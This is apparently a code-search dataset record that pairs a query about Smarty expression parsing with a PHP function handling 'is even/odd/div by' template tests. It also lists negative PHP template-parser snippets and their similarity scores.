'if'))\n\t\t{\n\t\t\t$count++;\n\n\t\t\t//we first have to find the proper end of the {if} tag\n\t\t\t$if_tag_pos \t= strpos($temp, RD, 0);\n\t\t\t$if_tag \t\t= substr($temp, 0, $if_tag_pos + 1);\n\n\t\t\t$inner_count = 0;\n\n\t\t\t//if we dont have an equal number of delimters...\n\t\t\twhile ( ! $this->equal_delimiters($if_tag))\n\t\t\t{\n\t\t\t\t$inner_count++;\n\n\t\t\t\t//we keep checking for the next right delmiter in line\n\t\t\t\t$if_tag_pos = strpos($temp, RD, $if_tag_pos + 1);\n\t\t\t\t$if_tag \t= substr($temp, 0, $if_tag_pos + 1);\n\n\t\t\t\tif ($inner_count > 1000) break;\n\t\t\t}\n\n\t\t\t$if_openers[] \t= $if_tag;\n\n\t\t\t//remove from temp so we can move on in the while loop\n\t\t\t$temp \t\t\t= substr($temp, strlen($if_tag));\n\n\t\t\tif ($count > 1000) break;\n\t\t}\n\n\t\t//--------------------------------------------\n\t\t//\treplace all items from if tags with\n\t\t//--------------------------------------------\n\n\t\t//keep a copy of old ones\n\t\t$original_ifs = $if_openers;\n\n\t\t//replace all tag names as the passed in hash (with pair tags)\n\t\tforeach ($tags as $tag => $hash)\n\t\t{\n\t\t\tforeach ($if_openers as $key => $value)\n\t\t\t{\n\t\t\t\t//--------------------------------------------\n\t\t\t\t//\tthis is complicated, but we have\n\t\t\t\t//\tto make sure no previous\n\t\t\t\t//\treplacements get double wrapped\n\t\t\t\t//--------------------------------------------\n\n\t\t\t\t$matches = array();\n\t\t\t\t$holders = array();\n\n\t\t\t\tif (preg_match_all(\n\t\t\t\t\t\"/\" . LD . 'count_hash_placeholder type=\"' . $tag . '\"' . RD . \"(.+?)\" .\n\t\t\t\t\t\t LD . preg_quote(T_SLASH, '/') . 'count_hash_placeholder' . RD . \"/s\",\n\t\t\t\t\t$if_openers[$key],\n\t\t\t\t\t$matches\n\t\t\t\t))\n\t\t\t\t{\n\t\t\t\t\tfor ($i = 0, $l = count($matches[0]); $i < $l; $i++)\n\t\t\t\t\t{\n\t\t\t\t\t\t$holder_hash \t\t\t= md5($matches[0][$i]);\n\t\t\t\t\t\t$holders[$holder_hash] \t= $matches[0][$i];\n\t\t\t\t\t\t$if_openers[$key] \t\t= str_replace(\n\t\t\t\t\t\t\t$matches[0][$i],\n\t\t\t\t\t\t\t$holder_hash,\n\t\t\t\t\t\t\t$if_openers[$key]\n\t\t\t\t\t\t);\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t//fix any remaining\n\t\t\t\t$if_openers[$key] = str_replace($tag, $hash, $if_openers[$key]);\n\n\t\t\t\t//put any holders back in\n\t\t\t\tif ( ! empty($holders))\n\t\t\t\t{\n\t\t\t\t\tforeach($holders as $holder_hash => $held_data)\n\t\t\t\t\t{\n\t\t\t\t\t\t$if_openers[$key] = str_replace(\n\t\t\t\t\t\t\t$holder_hash,\n\t\t\t\t\t\t\t$held_data,\n\t\t\t\t\t\t\t$if_openers[$key]\n\t\t\t\t\t\t);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t//replace old if blocks with new ones\n\t\tforeach ($original_ifs as $key => $value)\n\t\t{\n\t\t\t$tagdata = str_replace($original_ifs[$key], $if_openers[$key], $tagdata);\n\t\t}\n\n\t\treturn $tagdata;\n\t}", "protected function convertTernary($template)\n\t{\n\t\tpreg_match_all('(<xf:(?:else)?if is=\"([^\"]+)\"/?>([^<]*))', $template, $m, PREG_SET_ORDER);\n\n\t\t$expr = '';\n\t\tforeach ($m as $i => list($match, $condition, $content))\n\t\t{\n\t\t\tif ($i > 0)\n\t\t\t{\n\t\t\t\t$expr .= '(';\n\t\t\t}\n\n\t\t\t// Make sure compound conditions are in parentheses\n\t\t\tif (preg_match('( (?:and|or) )', $condition))\n\t\t\t{\n\t\t\t\t$condition = '(' . $condition . ')';\n\t\t\t}\n\n\t\t\t$expr .= $condition . ' ? ' . $this->convertMixedContent($content) . ' : ';\n\t\t}\n\t\tif (preg_match('(<xf:else/>\\\\K[^<]*)', $template, $m))\n\t\t{\n\t\t\t$else = $this->convertMixedContent($m[0]);\n\t\t\tif (str_contains($else, ' '))\n\t\t\t{\n\t\t\t\t// Add parentheses if the else clause is more than one token\n\t\t\t\t$else = '(' . $else . ')';\n\t\t\t}\n\t\t\t$expr .= $else;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$expr .= \"''\";\n\t\t}\n\t\t$expr .= str_repeat(')', $i);\n\n\t\treturn '{{ ' . $expr . ' }}';\n\t}", "function mIF(){\n try {\n $_type = Erfurt_Sparql_Parser_Sparql11_Update_Tokenizer11::$IF;\n $_channel = Erfurt_Sparql_Parser_Sparql11_Update_Tokenizer11::$DEFAULT_TOKEN_CHANNEL;\n // Tokenizer11.g:84:3: ( 'if' ) \n // Tokenizer11.g:85:3: 'if' \n {\n $this->matchString(\"if\"); \n\n\n }\n\n $this->state->type = $_type;\n $this->state->channel = $_channel;\n }\n catch(Exception $e){\n throw $e;\n }\n }", "function yy_r107(){if (!$this->template->security || $this->smarty->security_handler->isTrustedPhpFunction($this->yystack[$this->yyidx + -3]->minor, $this->compiler)) {\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t if ($this->yystack[$this->yyidx + -3]->minor == 'isset' || $this->yystack[$this->yyidx + -3]->minor == 'empty' || $this->yystack[$this->yyidx + -3]->minor == 'array' || is_callable($this->yystack[$this->yyidx + -3]->minor)) {\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t $this->_retvalue = $this->yystack[$this->yyidx + -3]->minor . \"(\". $this->yystack[$this->yyidx + -1]->minor .\")\";\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t } else {\r\n $this->compiler->trigger_template_error (\"unknown function \\\"\" . $this->yystack[$this->yyidx + -3]->minor . \"\\\"\");\r\n }\r\n } }", "protected function parseXslIf(DOMElement $ir, DOMElement $node)\n\t{\n\t\t// An <xsl:if/> is represented by a <switch/> with only one <case/>\n\t\t$switch = $this->appendElement($ir, 'switch');\n\t\t$case = $this->appendElement($switch, 'case');\n\t\t$case->setAttribute('test', $node->getAttribute('test'));\n\n\t\t// Parse this branch's content\n\t\t$this->parseChildren($case, $node);\n\t}", "public function compile($data){\n \treturn $this->less->compile($data);\n }", "protected function compile()\n {\n $this->addImageToTemplate($this->Template, $this->arrData);\n }", "public function formatInclude(){\r\n\t\tforeach($this->template as $k=>$v){\r\n\t\t\tif(preg_match('/{\\s+include ([\\w\\.]+)}/', $v, $matches)){\r\n\t\t\t\t$this->include_lines = ($k+1);\r\n\t\t\t\t$this->error_notice[($k+1)] = 'Include format error: The blank is not allowed with \\'{\\' near '.$matches[1].' in '.$this->template_file.$this->template_postfix.' on line '.($k+1);\r\n\t\t\t}\r\n\t\t\tif(preg_match('/{include ([\\w\\.]+)\\s+}/', $v, $matches)){\r\n\t\t\t\t$this->include_lines = ($k+1);\r\n\t\t\t\t$this->error_notice[($k+1)] = 'Include format error: The blank is not allowed with \\'}\\' near '.$matches[1].' in '.$this->template_file.$this->template_postfix.' on line '.($k+1);\r\n\t\t\t}\r\n\t\t\tif(preg_match('/{include ([\\w\\.]+)}/', $v, $matches)){\r\n\t\t\t\tif(!file_exists($this->template_dir.'/'.\"$matches[1]\")){\r\n\t\t\t\t\t$debugPage = file_get_contents('debug.tpl');\r\n\t\t\t\t\t$debugPage = preg_replace('/error/', \"$matches[1]\".' is not exist!', $debugPage);\r\n\t\t\t\t\tfile_put_contents($this->compile_dir.'/'.md5('debug').'.php', $debugPage);\r\n\t\t\t\t\trequire $this->compile_dir.'/'.md5('debug').'.php';\r\n\t\t\t\t\texit;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}", "function smarty_block_bracket($params, $content, &$smarty, &$repeat)\r\n{\r\n if(!$repeat)\r\n {\r\n if (isset($content)) \r\n {\r\n // do some intelligent translation thing here with $content\r\n return '{' . $content . '}';\r\n }\r\n }\r\n}", "function yy_r160(){$this->_retvalue = '\".'.'$_smarty_tpl->getVariable(\\''. substr($this->yystack[$this->yyidx + 0]->minor,1) .'\\')->value'.'.\"'; $this->compiler->tag_nocache=$this->compiler->tag_nocache|$this->template->getVariable(trim($this->yystack[$this->yyidx + 0]->minor,\"'\"))->nocache; $this->compiler->has_variable_string = true; }", "function yy_r5()\n {\n if ($this->compiler->has_code) {\n $this->compiler->nocacheCode($this->yystack[$this->yyidx + - 1]->minor, true);\n } else {\n $this->compiler->template_code->raw($this->yystack[$this->yyidx + - 1]->minor);\n }\n $this->block_nesting_level = count($this->compiler->_tag_stack);\n }", "function yy_r99(){ if ($this->yystack[$this->yyidx + -1]->minor['var'] == '\\'smarty\\'') { $this->_retvalue = $this->compiler->compileTag('special_smarty_variable',$this->yystack[$this->yyidx + -1]->minor['index']).$this->yystack[$this->yyidx + 0]->minor;} else {\r\n $this->_retvalue = '$_smarty_tpl->getVariable('. $this->yystack[$this->yyidx + -1]->minor['var'] .')->value'.$this->yystack[$this->yyidx + -1]->minor['index'].$this->yystack[$this->yyidx + 0]->minor; $this->compiler->tag_nocache=$this->compiler->tag_nocache|$this->template->getVariable(trim($this->yystack[$this->yyidx + -1]->minor['var'],\"'\"))->nocache;} }", "function <%= functionPrefix %>_admin_conditional_styles() { }", "function yy_r30(){ $this->_retvalue = '<?php ob_start();?>'.$this->compiler->compileTag($this->yystack[$this->yyidx + -4]->minor.'close',$this->yystack[$this->yyidx + -1]->minor).'<?php echo ';\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t if ($this->smarty->plugin_handler->loadSmartyPlugin($this->yystack[$this->yyidx + -3]->minor[0],'modifier')) {\r\n $this->_retvalue .= \"\\$_smarty_tpl->smarty->plugin_handler->executeModifier('\".$this->yystack[$this->yyidx + -3]->minor[0] . \"',array(ob_get_clean()\" . $this->yystack[$this->yyidx + -2]->minor. \"),\".$this->yystack[$this->yyidx + -3]->minor[1].\");?>\";\r\n } else {\r\n if (is_callable($this->yystack[$this->yyidx + -3]->minor[0])) {\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t if (!$this->template->security || $this->smarty->security_handler->isTrustedModifier($this->yystack[$this->yyidx + -3]->minor[0], $this->compiler)) {\r\n $this->_retvalue .= \"\\$_smarty_tpl->smarty->plugin_handler->executeModifier('\".$this->yystack[$this->yyidx + -3]->minor[0] . \"',array(ob_get_clean()\" . $this->yystack[$this->yyidx + -2]->minor. \"),\".$this->yystack[$this->yyidx + -3]->minor[1].\");?>\";\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t }\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t } else {\r\n $this->compiler->trigger_template_error (\"unknown modifier \\\"\" . $this->yystack[$this->yyidx + -3]->minor[0] . \"\\\"\");\r\n }\r\n }\r\n }", "function smarty_postfilter_strip($compiled, &$smarty)\n{\n\treturn preg_replace('/<\\?php\\s+\\?>/', '', $compiled);\n}" ]
[ "0.68315154", "0.6673087", "0.6627283", "0.6406893", "0.63586396", "0.6186858", "0.6095018", "0.6036492", "0.6023484", "0.60134107", "0.59457815", "0.58821696", "0.58377236", "0.5767657", "0.57304657", "0.5706831", "0.55546796", "0.55248487", "0.55162674", "0.55027837", "0.54978245", "0.5468457", "0.5466278", "0.5465292", "0.5457433", "0.54344475", "0.54342026", "0.54281044", "0.5418486", "0.5415678", "0.54002374", "0.53985417", "0.5379387", "0.5352452", "0.53459287", "0.5281677", "0.5248393", "0.52268445", "0.52194244", "0.5205176", "0.5195958", "0.5194149", "0.51718736", "0.51701903", "0.5166088", "0.5166088", "0.51621926", "0.5147993", "0.51455635", "0.5119038", "0.51142067", "0.5108728", "0.5107453", "0.5093377", "0.50889295", "0.50881076", "0.5066579", "0.50640434", "0.50630224", "0.5062827", "0.5052098", "0.5045632", "0.50420773", "0.5039999", "0.50321805", "0.50290024", "0.50246584", "0.5022813", "0.5012674", "0.5004247", "0.4999965", "0.49902433", "0.4972842", "0.4965773", "0.4961739", "0.49605083", "0.49540272", "0.4948977", "0.49410263", "0.4927752", "0.49255127", "0.4920641", "0.490994", "0.4901484", "0.48946956", "0.48866898", "0.48796424", "0.48743916", "0.4873693", "0.4872528", "0.4871618", "0.48667756", "0.4863567", "0.48629797", "0.48601893", "0.48564124", "0.4855367", "0.4855034", "0.48543262", "0.48510975" ]
0.623727
5
parse expression This is from Smarty
function _parse_is_expr($is_arg, $tokens) { $expr_end = 0; $negate_expr = false; if (($first_token = array_shift($tokens)) == 'not') { $negate_expr = true; $expr_type = array_shift($tokens); } else { $expr_type = $first_token; } switch ($expr_type) { case 'even': if (@$tokens[$expr_end] == 'by') { $expr_end++; $expr_arg = $tokens[$expr_end++]; $expr = "!(($is_arg / $expr_arg) % $expr_arg)"; } else { $expr = "!($is_arg & 1)"; } break; case 'odd': if (@$tokens[$expr_end] == 'by') { $expr_end++; $expr_arg = $tokens[$expr_end++]; $expr = "(($is_arg / $expr_arg) % $expr_arg)"; } else { $expr = "($is_arg & 1)"; } break; case 'div': if (@$tokens[$expr_end] == 'by') { $expr_end++; $expr_arg = $tokens[$expr_end++]; $expr = "!($is_arg % $expr_arg)"; } break; default: break; } if ($negate_expr) { $expr = "!($expr)"; } array_splice($tokens, 0, $expr_end, $expr); return $tokens; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function yy_r76(){if ($this->yystack[$this->yyidx + 0]->minor['var'] == '\\'smarty\\'') { $this->_retvalue = $this->compiler->compileTag('special_smarty_variable',$this->yystack[$this->yyidx + 0]->minor['index']);} else {\r\n $this->_retvalue = '$_smarty_tpl->getVariable('. $this->yystack[$this->yyidx + 0]->minor['var'] .')->value'.$this->yystack[$this->yyidx + 0]->minor['index']; $this->compiler->tag_nocache=$this->compiler->tag_nocache|$this->template->getVariable(trim($this->yystack[$this->yyidx + 0]->minor['var'],\"'\"))->nocache;} }", "protected function parseExpression()\n {\n $entities = array();\n while ($e = $this->matchFuncs(array('parseAddition', 'parseEntity'))) {\n $entities[] = $e;\n // operations do not allow keyword \"/\" dimension (e.g. small/20px) so we support that here\n if (!$this->peekReg('/\\\\G\\/[\\/*]/') && ($delim = $this->matchChar('/'))) {\n $entities[] = new ILess_Node_Anonymous($delim);\n }\n }\n if (count($entities) > 0) {\n return new ILess_Node_Expression($entities);\n }\n }", "function yy_r99(){ if ($this->yystack[$this->yyidx + -1]->minor['var'] == '\\'smarty\\'') { $this->_retvalue = $this->compiler->compileTag('special_smarty_variable',$this->yystack[$this->yyidx + -1]->minor['index']).$this->yystack[$this->yyidx + 0]->minor;} else {\r\n $this->_retvalue = '$_smarty_tpl->getVariable('. $this->yystack[$this->yyidx + -1]->minor['var'] .')->value'.$this->yystack[$this->yyidx + -1]->minor['index'].$this->yystack[$this->yyidx + 0]->minor; $this->compiler->tag_nocache=$this->compiler->tag_nocache|$this->template->getVariable(trim($this->yystack[$this->yyidx + -1]->minor['var'],\"'\"))->nocache;} }", "public static function expr()\n {\n $out = call_user_func_array('self::parse', func_get_args());\n $obj = text($out);\n return $obj;\n }", "function e($expr) \n {\n //call the core evaluation method\n return $this->evaluate($expr);\n }", "function yy_r91(){ $this->_retvalue = '['.$this->compiler->compileTag('special_smarty_variable','[\\'section\\'][\\''.$this->yystack[$this->yyidx + -1]->minor.'\\'][\\'index\\']').']'; }", "function yy_r30(){ $this->_retvalue = '<?php ob_start();?>'.$this->compiler->compileTag($this->yystack[$this->yyidx + -4]->minor.'close',$this->yystack[$this->yyidx + -1]->minor).'<?php echo ';\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t if ($this->smarty->plugin_handler->loadSmartyPlugin($this->yystack[$this->yyidx + -3]->minor[0],'modifier')) {\r\n $this->_retvalue .= \"\\$_smarty_tpl->smarty->plugin_handler->executeModifier('\".$this->yystack[$this->yyidx + -3]->minor[0] . \"',array(ob_get_clean()\" . $this->yystack[$this->yyidx + -2]->minor. \"),\".$this->yystack[$this->yyidx + -3]->minor[1].\");?>\";\r\n } else {\r\n if (is_callable($this->yystack[$this->yyidx + -3]->minor[0])) {\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t if (!$this->template->security || $this->smarty->security_handler->isTrustedModifier($this->yystack[$this->yyidx + -3]->minor[0], $this->compiler)) {\r\n $this->_retvalue .= \"\\$_smarty_tpl->smarty->plugin_handler->executeModifier('\".$this->yystack[$this->yyidx + -3]->minor[0] . \"',array(ob_get_clean()\" . $this->yystack[$this->yyidx + -2]->minor. \"),\".$this->yystack[$this->yyidx + -3]->minor[1].\");?>\";\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t }\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t } else {\r\n $this->compiler->trigger_template_error (\"unknown modifier \\\"\" . $this->yystack[$this->yyidx + -3]->minor[0] . \"\\\"\");\r\n }\r\n }\r\n }", "function yy_r92(){ $this->_retvalue = '['.$this->compiler->compileTag('special_smarty_variable','[\\'section\\'][\\''.$this->yystack[$this->yyidx + -3]->minor.'\\'][\\''.$this->yystack[$this->yyidx + -1]->minor.'\\']').']'; }", "function yy_r18(){ $this->_retvalue = '<?php ob_start();?>'.$this->compiler->compileTag($this->yystack[$this->yyidx + -4]->minor,$this->yystack[$this->yyidx + -1]->minor).'<?php echo ';\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t if ($this->smarty->plugin_handler->loadSmartyPlugin($this->yystack[$this->yyidx + -3]->minor[0],'modifier')) {\r\n $this->_retvalue .= \"\\$_smarty_tpl->smarty->plugin_handler->executeModifier('\".$this->yystack[$this->yyidx + -3]->minor[0] . \"',array(ob_get_clean()\" . $this->yystack[$this->yyidx + -2]->minor. \"),\".$this->yystack[$this->yyidx + -3]->minor[1].\");?>\";\r\n } else {\r\n if (is_callable($this->yystack[$this->yyidx + -3]->minor[0])) {\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t if (!$this->template->security || $this->smarty->security_handler->isTrustedModifier($this->yystack[$this->yyidx + -3]->minor[0], $this->compiler)) {\r\n $this->_retvalue .= \"\\$_smarty_tpl->smarty->plugin_handler->executeModifier('\".$this->yystack[$this->yyidx + -3]->minor[0] . \"',array(ob_get_clean()\" . $this->yystack[$this->yyidx + -2]->minor. \"),\".$this->yystack[$this->yyidx + -3]->minor[1].\");?>\";\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t }\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t } else {\r\n $this->compiler->trigger_template_error (\"unknown modifier \\\"\" . $this->yystack[$this->yyidx + -3]->minor[0] . \"\\\"\");\r\n }\r\n }\r\n }", "protected function _parseTemplate() {}", "function yy_r160(){$this->_retvalue = '\".'.'$_smarty_tpl->getVariable(\\''. substr($this->yystack[$this->yyidx + 0]->minor,1) .'\\')->value'.'.\"'; $this->compiler->tag_nocache=$this->compiler->tag_nocache|$this->template->getVariable(trim($this->yystack[$this->yyidx + 0]->minor,\"'\"))->nocache; $this->compiler->has_variable_string = true; }", "function yy_r79(){$this->_retvalue = '$_smarty_tpl->getConfigVariable(\\''. $this->yystack[$this->yyidx + -1]->minor .'\\')'; }", "function yy_r11()\n {\n if ($this->php_handling == Smarty::PHP_PASSTHRU) {\n $this->compiler->template_code->php(\"echo '%>';\\n\");\n } elseif ($this->php_handling == Smarty::PHP_QUOTE) {\n $this->compiler->template_code->php(\"echo '%&gt;';\\n\");\n } elseif ($this->php_handling == Smarty::PHP_ALLOW) {\n if ($this->asp_tags) {\n $this->text_is_php = false;\n } else {\n $this->compiler->template_code->php(\"echo '%>';\\n\");\n }\n } elseif ($this->php_handling == Smarty::PHP_REMOVE) {\n if (! $this->asp_tags) {\n $this->compiler->template_code->php(\"echo '%>';\\n\");\n }\n }\n }", "function yy_r10()\n {\n if ($this->php_handling == Smarty::PHP_PASSTHRU) {\n $this->compiler->template_code->php(\"echo '<%';\\n\");\n } elseif ($this->php_handling == Smarty::PHP_QUOTE) {\n $this->compiler->template_code->php(\"echo '&lt;%';\\n\");\n } elseif ($this->php_handling == Smarty::PHP_ALLOW) {\n if ($this->asp_tags) {\n if (! ($this->compiler->template instanceof SmartyBC)) {\n $this->compiler->error(self::Err3);\n }\n $this->text_is_php = true;\n } else {\n $this->compiler->template_code->php(\"echo '<%';\\n\");\n }\n } elseif ($this->php_handling == Smarty::PHP_REMOVE) {\n if (! $this->asp_tags) {\n $this->compiler->template_code->php(\"echo '<%';\\n\");\n }\n }\n }", "function yy_r80(){$this->_retvalue = '$_smarty_tpl->getConfigVariable('. $this->yystack[$this->yyidx + -1]->minor .')'; }", "public function parseExpression($stmt){\n\t\tswitch($stmt[0]['token']){\n\t\t\tcase \"PROJECT_COMMAND\": // SELECT statement\n\t\t\t\t\t$_SESSION['columns'] = \"\"; //empty array because no need for type checking\n\t\t\t\t\t$_SESSION['command'] = \"SELECT\";\n\t\t\t\t\t$p = new ProcessSelect();\n\t\t\t\t\t$p->parseSelect($stmt,0);\n\t\t\t\t\tbreak;\n\t\t\tcase \"INSERT_COMMAND\": //INSERT statement\n\t\t\t\t\t$_SESSION['command'] = \"INSERT\";\n\t\t\t\t\t$p = new ProcessInsert();\n\t\t\t\t\t$p->parseInsert($stmt,0);\n\t\t\t\t\tbreak;\n\t\t\tcase \"UPDATE_COMMAND\":\n\t\t\t\t\t$_SESSION['command'] = \"UPDATE\";\n\t\t\t\t\t$p = new ProcessUpdate();\n\t\t\t\t\t$p->parseUpdate($stmt,0);\n\t\t\t\t\tbreak;\n\t\t\tcase \"DELETE_COMMAND\"://DELETE statement\n\t\t\t\t\t$_SESSION['command'] = \"DELETE\";\n\t\t\t\t\t$p = new ProcessDelete();\n\t\t\t\t\t$p->parseDelete($stmt,0);\n\t\t\t\t\tbreak;\n\t\t}\n\t}", "function yy_r46(){ \r\n if ($this->smarty->plugin_handler->loadSmartyPlugin($this->yystack[$this->yyidx + -1]->minor[0],'modifier')) {\r\n $this->_retvalue = \"\\$_smarty_tpl->smarty->plugin_handler->executeModifier('\".$this->yystack[$this->yyidx + -1]->minor[0] . \"',array(\". $this->yystack[$this->yyidx + -2]->minor . $this->yystack[$this->yyidx + 0]->minor. \"),\".$this->yystack[$this->yyidx + -1]->minor[1].\")\";\r\n } else {\r\n if (is_callable($this->yystack[$this->yyidx + -1]->minor[0])) {\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t if (!$this->template->security || $this->smarty->security_handler->isTrustedModifier($this->yystack[$this->yyidx + -1]->minor[0], $this->compiler)) {\r\n $this->_retvalue = \"\\$_smarty_tpl->smarty->plugin_handler->executeModifier('\".$this->yystack[$this->yyidx + -1]->minor[0] . \"',array(\". $this->yystack[$this->yyidx + -2]->minor . $this->yystack[$this->yyidx + 0]->minor. \"),\".$this->yystack[$this->yyidx + -1]->minor[1].\")\";\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t }\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t } else {\r\n $this->compiler->trigger_template_error (\"unknown modifier \\\"\" . $this->yystack[$this->yyidx + -1]->minor[0] . \"\\\"\");\r\n }\r\n }\r\n }", "function yy_r19(){ $this->_retvalue = '<?php ob_start();?>'.$this->compiler->compileTag($this->yystack[$this->yyidx + -6]->minor,array_merge(array('object_methode'=>$this->yystack[$this->yyidx + -4]->minor),$this->yystack[$this->yyidx + -1]->minor)).'<?php echo ';\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t if ($this->smarty->plugin_handler->loadSmartyPlugin($this->yystack[$this->yyidx + -3]->minor[0],'modifier')) {\r\n $this->_retvalue .= \"\\$_smarty_tpl->smarty->plugin_handler->executeModifier('\".$this->yystack[$this->yyidx + -3]->minor[0] . \"',array(ob_get_clean()\" . $this->yystack[$this->yyidx + -2]->minor. \"),\".$this->yystack[$this->yyidx + -3]->minor[1].\");?>\";\r\n } else {\r\n if (is_callable($this->yystack[$this->yyidx + -3]->minor[0])) {\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t if (!$this->template->security || $this->smarty->security_handler->isTrustedModifier($this->yystack[$this->yyidx + -3]->minor[0], $this->compiler)) {\r\n $this->_retvalue .= \"\\$_smarty_tpl->smarty->plugin_handler->executeModifier('\".$this->yystack[$this->yyidx + -3]->minor[0] . \"',array(ob_get_clean()\" . $this->yystack[$this->yyidx + -2]->minor. \"),\".$this->yystack[$this->yyidx + -3]->minor[1].\");?>\";\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t }\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t } else {\r\n $this->compiler->trigger_template_error (\"unknown modifier \\\"\" . $this->yystack[$this->yyidx + -3]->minor[0] . \"\\\"\");\r\n }\r\n }\r\n }", "protected function parseExpression($expression) {\n\t\t$expression = str_replace(\n\t\t\tarray('{', '}', '[', ']', '`', ';'),\n\t\t\tarray('&#123', '&#125', '&#91', '&#93', '&#96', '&#59'),\n\t\t\t$expression\n\t\t);\n\t\tif ($this->isExpression($expression)) {\n\t\t\t$this->checkSafety($expression);\n\t\t}\n\t\treturn $expression;\n\t}", "function yy_r77(){ $this->_retvalue = '$_smarty_tpl->getVariable('. $this->yystack[$this->yyidx + -2]->minor .')->'.$this->yystack[$this->yyidx + 0]->minor; $this->compiler->tag_nocache=$this->compiler->tag_nocache|$this->template->getVariable(trim($this->yystack[$this->yyidx + -2]->minor,\"'\"))->nocache; }", "private function if_expr(&$match) {\r\n\t\r\n\r\n\t\t//if it's IF .. \r\n\t\tif (strtolower(trim($match[1])) == 'if') {\r\n\t\t\r\n\t\t\t$result .= 'if ('; \r\n\t\t\t\r\n\t\t}elseif(strtolower(trim($match[1])) == 'elseif') {\r\n\t\t\r\n\t\t\t$result .= '} elseif('; \r\n\t\t\t\r\n\t\t}\r\n\t\t\r\n\t\t///its for loop or just normal if .. [ loop begin with __\r\n\t\tif (strpos($match[2], '__') !== false) {\r\n\t\t\r\n\t\t\t$val = str_replace('__','',$match[2]);\r\n\t\t\t$result .= '$this->value[\\''.trim($val).'\\']'; \r\n\t\t\t\r\n\t\t}else{\r\n\t\t\r\n\t\t\t$result .= '$this->vars[\\''.trim($match[2]).'\\']'; \r\n\t\t\r\n\t\t}\r\n\t\t\r\n\t\t//so , now experssions signs .. \r\n\t\t\r\n\t\tif (!empty($match[3])) {\r\n\t\t\r\n\t\t\t$expr = trim(strtolower($match[3]));\r\n\t\t\t\r\n\t\t\t\tswitch($expr) {\r\n\t\t\t\t\tcase '==':\r\n\t\t\t\t\tcase 'eq':\r\n\t\t\t\t\t$expr_is = '==';\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t\t\r\n\t\t\t\t\tcase '!=':\r\n\t\t\t\t\tcase '<>':\r\n\t\t\t\t\tcase 'ne':\r\n\t\t\t\t\tcase 'neq':\r\n\t\t\t\t\t$expr_is = '!=';\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t\t\r\n\t\t\t\t\tcase '<':\r\n\t\t\t\t\tcase 'lt':\r\n\t\t\t\t\t$expr_is = '<';\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t\t\r\n\t\t\t\t\tcase '<=':\r\n\t\t\t\t\tcase 'le':\r\n\t\t\t\t\tcase 'lte':\r\n\t\t\t\t\t$expr_is = '<=';\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t\t\r\n\t\t\t\t\tcase '>':\r\n\t\t\t\t\tcase 'gt':\r\n\t\t\t\t\t$expr_is = '>';\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t\t\r\n\t\t\t\t\tcase '>=':\r\n\t\t\t\t\tcase 'ge':\r\n\t\t\t\t\tcase 'gte':\r\n\t\t\t\t\t$expr_is = '>=';\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t\t\r\n\t\t\t\t\tcase '&&':\r\n\t\t\t\t\tcase 'and':\r\n\t\t\t\t\t$expr_is = '&&';\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t\t\r\n\t\t\t\t\tcase '||':\r\n\t\t\t\t\tcase 'or':\r\n\t\t\t\t\t$expr_is = '||';\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t\t\r\n\t\t\t\t\tcase '!':\r\n\t\t\t\t\tcase 'not':\r\n\t\t\t\t\t$expr_is = '!';\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t\t\r\n\t\t\t\t\tcase '%':\r\n\t\t\t\t\tcase 'mod':\r\n\t\t\t\t\t$expr_is = '%';\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t\r\n\t\t\t\t\tdefault:\r\n\t\t\t\t\t$expr_is = $expr;\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\t$result .= ' ' . $expr_is . ' '; \r\n\t\t}\r\n\t\t\r\n\t\t//whats match4 .. its something cant change it now .. i will do something good with it later .. \r\n\t\t\r\n\t\t\t\t$result .= $match[4];\r\n\t\t\t\t\r\n\t\t\t\t//some .. additions\r\n\t\t\t\t$result .= '){';\r\n\t\t\r\n\t\r\n\t\t//return it \r\n\t\treturn '<?php '.$result. '?>';\r\n\t}", "function yy_r45(){$this->_retvalue = '$_smarty_tpl->getStreamVariable(\\''. $this->yystack[$this->yyidx + -2]->minor .'://'. $this->yystack[$this->yyidx + 